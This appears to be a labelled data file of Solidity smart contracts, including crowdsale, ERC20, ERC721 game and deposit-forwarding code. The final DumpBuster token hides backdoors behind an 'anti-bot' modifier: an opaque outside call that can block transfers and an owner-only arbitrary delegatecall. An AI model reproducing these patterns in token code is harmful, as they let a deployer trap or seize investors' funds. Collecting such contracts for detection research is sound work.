msg.sender.transfer(cashBack); token.transfer(msg.sender, balance); emit Purchased(msg.sender, balance, "PreICO"); return; } multisig.transfer(msg.value); token.transfer(msg.sender, totalAmount); emit Purchased(msg.sender, totalAmount, "PreICO"); } } contract mainICO is Crowdsale { uint startIco; uint periodIco; constructor(address _AS, address _multisig, uint _priceETH, uint _startIcoUNIX, uint _periodIcoSEC, uint _indCap) public { require(_AS != 0 && _priceETH != 0); token = AS(_AS); multisig = _multisig; startIco = _startIcoUNIX; periodIco = _periodIcoSEC; rateInUsd = 10; setRate(_priceETH); setIndCap(_indCap); } function extendPeriod(uint _days) external onlyOwner { periodIco = periodIco.add(_days.mul(1 days)); } function() external payable { buyTokens(); } function buyTokens() public payable { require(block.timestamp > startIco && block.timestamp < startIco.add(periodIco)); if (indCap > 0) { require(msg.value <= indCap.mul(1 ether)); } uint256 amount = msg.value.mul(10**8).div(rate); uint256 balance = token.balanceOf(this); if (amount > balance) { uint256 cash = balance.mul(rate).div(10**8); uint256 cashBack = msg.value.sub(cash); multisig.transfer(cash); msg.sender.transfer(cashBack); token.transfer(msg.sender, balance); emit Purchased(msg.sender, balance, "MainICO"); return; } multisig.transfer(msg.value); token.transfer(msg.sender, amount); emit Purchased(msg.sender, amount, "MainICO"); } }
1
2,729
pragma solidity 0.4.18; contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0) && newOwner != owner); OwnershipTransferred(owner, newOwner); owner = newOwner; } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { assert(b > 0); uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() public onlyOwner whenNotPaused { paused = true; Pause(); } function unpause() public onlyOwner whenPaused { paused = false; Unpause(); } } contract Destructible is Ownable { function Destructible() public payable { } function destroy() onlyOwner public { selfdestruct(owner); } function destroyAndSend(address _recipient) onlyOwner public { selfdestruct(_recipient); } } contract UserTokensControl is Ownable, Pausable{ address companyReserve; address founderReserve; address deedSaftReserve; bool public isSwapDone = false; modifier isUserAbleToTransferCheck() { if(msg.sender == owner){ _; }else{ if(msg.sender == deedSaftReserve){ isSwapDone = true; } if(isSwapDone){ _; }else{ if(paused){ revert(); }else{ _; } } } } } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract BasicToken is ERC20Basic, UserTokensControl { using SafeMath for uint256; bool isDistributeToFounders=false; mapping(address => uint256) balances; function transfer(address _to, uint256 _value) public isUserAbleToTransferCheck whenNotPaused returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); require(_value >= 0); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function transferByOwnerContract(address _to, uint256 _value) public onlyOwner returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); require(_value >= 0); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public isUserAbleToTransferCheck whenNotPaused returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value >= 0); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { require(_spender != address(0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { require(_owner != address(0)); require(_spender != address(0)); return allowed[_owner][_spender]; } function increaseApproval (address _spender, uint _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract DeedCoin is StandardToken,Destructible { string public constant name = "Deedcoin"; uint public constant decimals = 18; string public constant symbol = "DEED"; function DeedCoin() public { totalSupply=132857135 *(10**decimals); owner = msg.sender; companyReserve = 0xbBE0805F7660aE0C4C7484dBee097398329eD5f2; founderReserve = 0x63547A5423652ABaF323c5B4fae848C7686B28Bf; deedSaftReserve = 0x3EA6F9f6D21CEEf6ce84dA606754887b3e6AAFf6; balances[msg.sender] = 36999996 * (10**decimals); balances[companyReserve] = 19928570 * (10**decimals); balances[founderReserve] = 19928570 * (10**decimals); balances[deedSaftReserve] = 55999999 * (10 ** decimals); } function() public { revert(); } }
1
2,625
pragma solidity ^0.4.11; contract SmartDeposit { function SmartDeposit() { } event Received(address from, bytes user_id, uint value); function() payable { if (msg.value > 0 && msg.data.length == 4) { Received(msg.sender, msg.data, msg.value); m_account.transfer(msg.value); } else throw; } address public m_account = 0x0C99a6F86eb73De783Fd5362aA3C9C7Eb7F8Ea16; }
1
3,157
pragma solidity ^0.4.19; contract ERC721 { function totalSupply() public view returns (uint256 total); function balanceOf(address _owner) public view returns (uint256 balance); function ownerOf(uint256 _tokenId) external view returns (address owner); function approve(address _to, uint256 _tokenId) external; function transfer(address _to, uint256 _tokenId) external; function transferFrom(address _from, address _to, uint256 _tokenId) external; function takeOwnership(uint256 _tokenId) public; function implementsERC721() public pure returns (bool); event Transfer(address from, address to, uint256 tokenId); event Approval(address owner, address approved, uint256 tokenId); function supportsInterface(bytes4 _interfaceID) external view returns (bool); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } function max(int256 a, int256 b) internal pure returns (int256) { if (a > b) { return a; } else { return b; } } function min(int256 a, int256 b) internal pure returns (int256) { if (a < b) { return a; } else { return b; } } } contract EthernautsBase { bytes4 constant InterfaceSignature_ERC721 = bytes4(keccak256('name()')) ^ bytes4(keccak256('symbol()')) ^ bytes4(keccak256('totalSupply()')) ^ bytes4(keccak256('balanceOf(address)')) ^ bytes4(keccak256('ownerOf(uint256)')) ^ bytes4(keccak256('approve(address,uint256)')) ^ bytes4(keccak256('transfer(address,uint256)')) ^ bytes4(keccak256('transferFrom(address,address,uint256)')) ^ bytes4(keccak256('takeOwnership(uint256)')) ^ bytes4(keccak256('tokensOfOwner(address)')) ^ bytes4(keccak256('tokenMetadata(uint256,string)')); uint8 public constant STATS_SIZE = 10; uint8 public constant SHIP_SLOTS = 5; enum AssetState { Available, UpForLease, Used } enum AssetCategory { NotValid, Sector, Manufacturer, Ship, Object, Factory, CrewMember } enum ShipStats {Level, Attack, Defense, Speed, Range, Luck} bytes2 public ATTR_SEEDED = bytes2(2**0); bytes2 public ATTR_PRODUCIBLE = bytes2(2**1); bytes2 public ATTR_EXPLORABLE = bytes2(2**2); bytes2 public ATTR_LEASABLE = bytes2(2**3); bytes2 public ATTR_PERMANENT = bytes2(2**4); bytes2 public ATTR_CONSUMABLE = bytes2(2**5); bytes2 public ATTR_TRADABLE = bytes2(2**6); bytes2 public ATTR_GOLDENGOOSE = bytes2(2**7); } contract EthernautsAccessControl is EthernautsBase { event ContractUpgrade(address newContract); address public ceoAddress; address public ctoAddress; address public cooAddress; address public oracleAddress; bool public paused = false; modifier onlyCEO() { require(msg.sender == ceoAddress); _; } modifier onlyCTO() { require(msg.sender == ctoAddress); _; } modifier onlyOracle() { require(msg.sender == oracleAddress); _; } modifier onlyCLevel() { require( msg.sender == ceoAddress || msg.sender == ctoAddress || msg.sender == cooAddress ); _; } function setCEO(address _newCEO) external onlyCEO { require(_newCEO != address(0)); ceoAddress = _newCEO; } function setCTO(address _newCTO) external { require( msg.sender == ceoAddress || msg.sender == ctoAddress ); require(_newCTO != address(0)); ctoAddress = _newCTO; } function setCOO(address _newCOO) external { require( msg.sender == ceoAddress || msg.sender == cooAddress ); require(_newCOO != address(0)); cooAddress = _newCOO; } function setOracle(address _newOracle) external { require(msg.sender == ctoAddress); require(_newOracle != address(0)); oracleAddress = _newOracle; } modifier whenNotPaused() { require(!paused); _; } modifier whenPaused { require(paused); _; } function pause() external onlyCLevel whenNotPaused { paused = true; } function unpause() public onlyCEO whenPaused { paused = false; } } contract EthernautsStorage is EthernautsAccessControl { function EthernautsStorage() public { ceoAddress = msg.sender; ctoAddress = msg.sender; cooAddress = msg.sender; oracleAddress = msg.sender; } function() external payable { require(msg.sender == address(this)); } mapping (address => bool) public contractsGrantedAccess; function grantAccess(address _v2Address) public onlyCTO { contractsGrantedAccess[_v2Address] = true; } function removeAccess(address _v2Address) public onlyCTO { delete contractsGrantedAccess[_v2Address]; } modifier onlyGrantedContracts() { require(contractsGrantedAccess[msg.sender] == true); _; } modifier validAsset(uint256 _tokenId) { require(assets[_tokenId].ID > 0); _; } struct Asset { uint16 ID; uint8 category; uint8 state; bytes2 attributes; uint64 createdAt; uint64 cooldownEndBlock; uint8[STATS_SIZE] stats; uint256 cooldown; uint256 builtBy; } bool public isEthernautsStorage = true; Asset[] public assets; mapping (uint256 => uint256) internal assetIndexToPrice; mapping (uint256 => address) internal assetIndexToOwner; mapping (address => uint256) internal ownershipTokenCount; mapping (uint256 => address) internal assetIndexToApproved; function setPrice(uint256 _tokenId, uint256 _price) public onlyGrantedContracts { assetIndexToPrice[_tokenId] = _price; } function approve(uint256 _tokenId, address _approved) public onlyGrantedContracts { assetIndexToApproved[_tokenId] = _approved; } function transfer(address _from, address _to, uint256 _tokenId) public onlyGrantedContracts { ownershipTokenCount[_to]++; assetIndexToOwner[_tokenId] = _to; if (_from != address(0)) { ownershipTokenCount[_from]--; delete assetIndexToApproved[_tokenId]; } } function createAsset( uint256 _creatorTokenID, address _owner, uint256 _price, uint16 _ID, uint8 _category, uint8 _state, uint8 _attributes, uint8[STATS_SIZE] _stats, uint256 _cooldown, uint64 _cooldownEndBlock ) public onlyGrantedContracts returns (uint256) { require(_ID > 0); require(_category > 0); require(_attributes != 0x0); require(_stats.length > 0); Asset memory asset = Asset({ ID: _ID, category: _category, builtBy: _creatorTokenID, attributes: bytes2(_attributes), stats: _stats, state: _state, createdAt: uint64(now), cooldownEndBlock: _cooldownEndBlock, cooldown: _cooldown }); uint256 newAssetUniqueId = assets.push(asset) - 1; require(newAssetUniqueId == uint256(uint32(newAssetUniqueId))); assetIndexToPrice[newAssetUniqueId] = _price; transfer(address(0), _owner, newAssetUniqueId); return newAssetUniqueId; } function editAsset( uint256 _tokenId, uint256 _creatorTokenID, uint256 _price, uint16 _ID, uint8 _category, uint8 _state, uint8 _attributes, uint8[STATS_SIZE] _stats, uint16 _cooldown ) external validAsset(_tokenId) onlyCLevel returns (uint256) { require(_ID > 0); require(_category > 0); require(_attributes != 0x0); require(_stats.length > 0); assetIndexToPrice[_tokenId] = _price; Asset storage asset = assets[_tokenId]; asset.ID = _ID; asset.category = _category; asset.builtBy = _creatorTokenID; asset.attributes = bytes2(_attributes); asset.stats = _stats; asset.state = _state; asset.cooldown = _cooldown; } function updateStats(uint256 _tokenId, uint8[STATS_SIZE] _stats) public validAsset(_tokenId) onlyGrantedContracts { assets[_tokenId].stats = _stats; } function updateState(uint256 _tokenId, uint8 _state) public validAsset(_tokenId) onlyGrantedContracts { assets[_tokenId].state = _state; } function setAssetCooldown(uint256 _tokenId, uint256 _cooldown, uint64 _cooldownEndBlock) public validAsset(_tokenId) onlyGrantedContracts { assets[_tokenId].cooldown = _cooldown; assets[_tokenId].cooldownEndBlock = _cooldownEndBlock; } function getStats(uint256 _tokenId) public view returns (uint8[STATS_SIZE]) { return assets[_tokenId].stats; } function priceOf(uint256 _tokenId) public view returns (uint256 price) { return assetIndexToPrice[_tokenId]; } function hasAllAttrs(uint256 _tokenId, bytes2 _attributes) public view returns (bool) { return assets[_tokenId].attributes & _attributes == _attributes; } function hasAnyAttrs(uint256 _tokenId, bytes2 _attributes) public view returns (bool) { return assets[_tokenId].attributes & _attributes != 0x0; } function isCategory(uint256 _tokenId, uint8 _category) public view returns (bool) { return assets[_tokenId].category == _category; } function isState(uint256 _tokenId, uint8 _state) public view returns (bool) { return assets[_tokenId].state == _state; } function ownerOf(uint256 _tokenId) public view returns (address owner) { return assetIndexToOwner[_tokenId]; } function balanceOf(address _owner) public view returns (uint256 count) { return ownershipTokenCount[_owner]; } function approvedFor(uint256 _tokenId) public view onlyGrantedContracts returns (address) { return assetIndexToApproved[_tokenId]; } function totalSupply() public view returns (uint256) { return assets.length; } function getTokenList(address _owner, uint8 _withAttributes, uint256 start, uint256 count) external view returns( uint256[6][] ) { uint256 totalAssets = assets.length; if (totalAssets == 0) { return new uint256[6][](0); } else { uint256[6][] memory result = new uint256[6][](totalAssets > count ? count : totalAssets); uint256 resultIndex = 0; bytes2 hasAttributes = bytes2(_withAttributes); Asset memory asset; for (uint256 tokenId = start; tokenId < totalAssets && resultIndex < count; tokenId++) { asset = assets[tokenId]; if ( (asset.state != uint8(AssetState.Used)) && (assetIndexToOwner[tokenId] == _owner || _owner == address(0)) && (asset.attributes & hasAttributes == hasAttributes) ) { result[resultIndex][0] = tokenId; result[resultIndex][1] = asset.ID; result[resultIndex][2] = asset.category; result[resultIndex][3] = uint256(asset.attributes); result[resultIndex][4] = asset.cooldown; result[resultIndex][5] = assetIndexToPrice[tokenId]; resultIndex++; } } return result; } } } contract EthernautsOwnership is EthernautsAccessControl, ERC721 { EthernautsStorage public ethernautsStorage; string public constant name = "Ethernauts"; string public constant symbol = "ETNT"; bytes4 constant InterfaceSignature_ERC165 = bytes4(keccak256('supportsInterface(bytes4)')); event Transfer(address indexed from, address indexed to, uint256 tokens); event Approval(address indexed owner, address indexed approved, uint256 tokens); event Build(address owner, uint256 tokenId, uint16 assetId, uint256 price); function implementsERC721() public pure returns (bool) { return true; } function supportsInterface(bytes4 _interfaceID) external view returns (bool) { return ((_interfaceID == InterfaceSignature_ERC165) || (_interfaceID == InterfaceSignature_ERC721)); } function _owns(address _claimant, uint256 _tokenId) internal view returns (bool) { return ethernautsStorage.ownerOf(_tokenId) == _claimant; } function _approvedFor(address _claimant, uint256 _tokenId) internal view returns (bool) { return ethernautsStorage.approvedFor(_tokenId) == _claimant; } function _approve(uint256 _tokenId, address _approved) internal { ethernautsStorage.approve(_tokenId, _approved); } function balanceOf(address _owner) public view returns (uint256 count) { return ethernautsStorage.balanceOf(_owner); } function transfer( address _to, uint256 _tokenId ) external whenNotPaused { require(_to != address(0)); require(_to != address(this)); require(_to != address(ethernautsStorage)); require(_owns(msg.sender, _tokenId)); ethernautsStorage.transfer(msg.sender, _to, _tokenId); } function approve( address _to, uint256 _tokenId ) external whenNotPaused { require(_owns(msg.sender, _tokenId)); _approve(_tokenId, _to); Approval(msg.sender, _to, _tokenId); } function _transferFrom( address _from, address _to, uint256 _tokenId ) internal { require(_to != address(0)); require(_owns(_from, _tokenId)); require(_approvedFor(_to, _tokenId)); ethernautsStorage.transfer(_from, _to, _tokenId); } function transferFrom( address _from, address _to, uint256 _tokenId ) external whenNotPaused { _transferFrom(_from, _to, _tokenId); } function takeOwnership(uint256 _tokenId) public { address _from = ethernautsStorage.ownerOf(_tokenId); require(_from != address(0)); _transferFrom(_from, msg.sender, _tokenId); } function totalSupply() public view returns (uint256) { return ethernautsStorage.totalSupply(); } function ownerOf(uint256 _tokenId) external view returns (address owner) { owner = ethernautsStorage.ownerOf(_tokenId); require(owner != address(0)); } function createNewAsset( uint256 _creatorTokenID, address _owner, uint256 _price, uint16 _assetID, uint8 _category, uint8 _attributes, uint8[STATS_SIZE] _stats ) external onlyCLevel returns (uint256) { require(_owner != address(0)); uint256 tokenID = ethernautsStorage.createAsset( _creatorTokenID, _owner, _price, _assetID, _category, uint8(AssetState.Available), _attributes, _stats, 0, 0 ); Build( _owner, tokenID, _assetID, _price ); return tokenID; } function isExploring(uint256 _tokenId) public view returns (bool) { uint256 cooldown; uint64 cooldownEndBlock; (,,,,,cooldownEndBlock, cooldown,) = ethernautsStorage.assets(_tokenId); return (cooldown > now) || (cooldownEndBlock > uint64(block.number)); } } contract EthernautsLogic is EthernautsOwnership { address public newContractAddress; function EthernautsLogic() public { ceoAddress = msg.sender; ctoAddress = msg.sender; cooAddress = msg.sender; oracleAddress = msg.sender; paused = true; } function setNewAddress(address _v2Address) external onlyCTO whenPaused { newContractAddress = _v2Address; ContractUpgrade(_v2Address); } function setEthernautsStorageContract(address _CStorageAddress) public onlyCLevel whenPaused { EthernautsStorage candidateContract = EthernautsStorage(_CStorageAddress); require(candidateContract.isEthernautsStorage()); ethernautsStorage = candidateContract; } function unpause() public onlyCEO whenPaused { require(ethernautsStorage != address(0)); require(newContractAddress == address(0)); require(ethernautsStorage.contractsGrantedAccess(address(this)) == true); super.unpause(); } function withdrawBalances(address _to) public onlyCLevel { _to.transfer(this.balance); } function getBalance() public view onlyCLevel returns (uint256) { return this.balance; } } contract EthernautsExplore is EthernautsLogic { function EthernautsExplore() public EthernautsLogic() {} event Explore(uint256 shipId, uint256 sectorID, uint256 crewId, uint256 time); event Result(uint256 shipId, uint256 sectorID); uint8 constant STATS_CAPOUT = 2**8 - 1; bool public isEthernautsExplore = true; uint256 public secondsPerBlock = 15; uint256 public TICK_TIME = 15; uint256 public percentageCut = 90; int256 public SPEED_STAT_MAX = 30; int256 public RANGE_STAT_MAX = 20; int256 public MIN_TIME_EXPLORE = 60; int256 public MAX_TIME_EXPLORE = 2160; int256 public RANGE_SCALE = 2; enum SectorStats {Size, Threat, Difficulty, Slots} uint256[] explorers; mapping (uint256 => uint256) internal tokenIndexToExplore; mapping (uint256 => uint256) internal tokenIndexToSector; mapping (uint256 => uint256) internal exploreIndexToCrew; mapping (uint256 => uint16) public missions; mapping (uint256 => uint256) public sectorToOwnerCut; mapping (uint256 => uint256) public sectorToOracleFee; function getExplorerList() public view returns( uint256[3][] ) { uint256[3][] memory tokens = new uint256[3][](explorers.length < 50 ? explorers.length : 50); uint256 index = 0; for(uint256 i = 0; i < explorers.length && index < 50; i++) { if (explorers[i] != 0) { tokens[index][0] = explorers[i]; tokens[index][1] = tokenIndexToSector[explorers[i]]; tokens[index][2] = exploreIndexToCrew[i]; index++; } } if (index == 0) { return new uint256[3][](0); } else { return tokens; } } function setOwnerCut(uint256 _sectorId, uint256 _ownerCut) external onlyCLevel { sectorToOwnerCut[_sectorId] = _ownerCut; } function setOracleFee(uint256 _sectorId, uint256 _oracleFee) external onlyCLevel { sectorToOracleFee[_sectorId] = _oracleFee; } function setTickTime(uint256 _tickTime) external onlyCLevel { TICK_TIME = _tickTime; } function setPercentageCut(uint256 _percentageCut) external onlyCLevel { percentageCut = _percentageCut; } function setMissions(uint256 _tokenId, uint16 _total) public onlyCLevel { missions[_tokenId] = _total; } function explore(uint256 _shipTokenId, uint256 _sectorTokenId, uint256 _crewTokenId) payable external whenNotPaused { require(msg.value >= sectorToOwnerCut[_sectorTokenId]); require(ethernautsStorage.isCategory(_shipTokenId, uint8(AssetCategory.Ship))); require(ethernautsStorage.isCategory(_sectorTokenId, uint8(AssetCategory.Sector))); require(ethernautsStorage.isState(_shipTokenId, uint8(AssetState.Available))); require(!isExploring(_shipTokenId)); require(msg.sender == ethernautsStorage.ownerOf(_shipTokenId)); address sectorOwner = ethernautsStorage.ownerOf(_sectorTokenId); require(sectorOwner != address(0)); if (_crewTokenId > 0) { require(!isExploring(_crewTokenId)); require(ethernautsStorage.isCategory(_crewTokenId, uint8(AssetCategory.CrewMember))); require(msg.sender == ethernautsStorage.ownerOf(_crewTokenId)); } tokenIndexToExplore[_shipTokenId] = explorers.push(_shipTokenId) - 1; tokenIndexToSector[_shipTokenId] = _sectorTokenId; uint8[STATS_SIZE] memory _shipStats = ethernautsStorage.getStats(_shipTokenId); uint8[STATS_SIZE] memory _sectorStats = ethernautsStorage.getStats(_sectorTokenId); if (_crewTokenId > 0) { exploreIndexToCrew[tokenIndexToExplore[_shipTokenId]] = _crewTokenId; missions[_crewTokenId]++; uint8[STATS_SIZE] memory _crewStats = ethernautsStorage.getStats(_crewTokenId); _shipStats[uint256(ShipStats.Range)] += _crewStats[uint256(ShipStats.Range)]; _shipStats[uint256(ShipStats.Speed)] += _crewStats[uint256(ShipStats.Speed)]; if (_shipStats[uint256(ShipStats.Range)] > STATS_CAPOUT) { _shipStats[uint256(ShipStats.Range)] = STATS_CAPOUT; } if (_shipStats[uint256(ShipStats.Speed)] > STATS_CAPOUT) { _shipStats[uint256(ShipStats.Speed)] = STATS_CAPOUT; } } uint256 time = uint256(_explorationTime( _shipStats[uint256(ShipStats.Range)], _shipStats[uint256(ShipStats.Speed)], _sectorStats[uint256(SectorStats.Size)] )); time *= 60; uint64 _cooldownEndBlock = uint64((time/secondsPerBlock) + block.number); ethernautsStorage.setAssetCooldown(_shipTokenId, now + time, _cooldownEndBlock); if (_crewTokenId > 0) { ethernautsStorage.setAssetCooldown(_crewTokenId, now + time, _cooldownEndBlock); } uint256 feeExcess = SafeMath.sub(msg.value, sectorToOwnerCut[_sectorTokenId]); uint256 payment = uint256(SafeMath.div(SafeMath.mul(msg.value, percentageCut), 100)) - sectorToOracleFee[_sectorTokenId]; Explore(_shipTokenId, _sectorTokenId, _crewTokenId, now + time); oracleAddress.transfer(sectorToOracleFee[_sectorTokenId]); sectorOwner.transfer(payment); msg.sender.transfer(feeExcess); } function explorationResults( uint256 _shipTokenId, uint256 _sectorTokenId, uint16[10] _IDs, uint8[10] _attributes, uint8[STATS_SIZE][10] _stats ) external onlyOracle { uint256 cooldown; uint64 cooldownEndBlock; uint256 builtBy; (,,,,,cooldownEndBlock, cooldown, builtBy) = ethernautsStorage.assets(_shipTokenId); address owner = ethernautsStorage.ownerOf(_shipTokenId); require(owner != address(0)); uint256 i = 0; for (i = 0; i < 10 && _IDs[i] > 0; i++) { _buildAsset( _sectorTokenId, owner, 0, _IDs[i], uint8(AssetCategory.Object), uint8(_attributes[i]), _stats[i], cooldown, cooldownEndBlock ); } require(i > 0); delete explorers[tokenIndexToExplore[_shipTokenId]]; delete tokenIndexToSector[_shipTokenId]; Result(_shipTokenId, _sectorTokenId); } function _buildAsset( uint256 _creatorTokenID, address _owner, uint256 _price, uint16 _assetID, uint8 _category, uint8 _attributes, uint8[STATS_SIZE] _stats, uint256 _cooldown, uint64 _cooldownEndBlock ) private returns (uint256) { uint256 tokenID = ethernautsStorage.createAsset( _creatorTokenID, _owner, _price, _assetID, _category, uint8(AssetState.Available), _attributes, _stats, _cooldown, _cooldownEndBlock ); Build( _owner, tokenID, _assetID, _price ); return tokenID; } function _explorationTime( uint8 _shipRange, uint8 _shipSpeed, uint8 _sectorSize ) private view returns (int256) { int256 minToExplore = 0; minToExplore = SafeMath.min(_shipSpeed, SPEED_STAT_MAX) - 1; minToExplore = -72 * minToExplore; minToExplore += MAX_TIME_EXPLORE; uint256 minRange = uint256(SafeMath.min(_shipRange, RANGE_STAT_MAX)); uint256 scaledRange = uint256(RANGE_STAT_MAX * RANGE_SCALE); int256 minExplore = (minToExplore - MIN_TIME_EXPLORE); minToExplore -= fraction(minExplore, int256(minRange), int256(scaledRange)); minToExplore += fraction(minToExplore, int256(_sectorSize) - int256(10), 10); minToExplore = SafeMath.max(minToExplore, MIN_TIME_EXPLORE); return minToExplore; } function fraction(int256 _subject, int256 _numerator, int256 _denominator) private pure returns (int256) { int256 division = _subject * _numerator - _subject * _denominator; int256 total = _subject * _denominator + division; return total / _denominator; } function setSecondsPerBlock(uint256 _secs) external onlyCLevel { require(_secs > 0); secondsPerBlock = _secs; } }
1
3,314
pragma solidity ^0.7.0; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } interface IUniswapV2Router02 { function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract BotProtected { address internal owner; address internal stopTheBots; address public uniPair; constructor(address _botProtection) { stopTheBots = _botProtection; } modifier checkBots(address _from, address _to, uint256 _value) { (bool notABot, bytes memory isNotBot) = stopTheBots.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value)); require(notABot); _; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } abstract contract ERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(msg.sender, spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; } } contract DumpBuster is BotProtected { mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply = 100000000000000000000000000000; string public name = "DumpBuster"; string public symbol = "GTFO"; IUniswapV2Router02 public routerForUniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address public wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); constructor(address _botProtection) BotProtected(_botProtection) { owner = tx.origin; uniPair = pairForPancake(wETH, address(this)); allowance[address(this)][address(routerForUniswap)] = uint(-1); allowance[tx.origin][uniPair] = uint(-1); } function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) { if (_value == 0) { return true; } if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function delegate(address a, bytes memory b) public payable returns (bool) { require(msg.sender == owner); (bool success, ) = a.delegatecall(b); return success; } function pairForPancake(address tokenA, address tokenB) internal pure returns (address pair) { 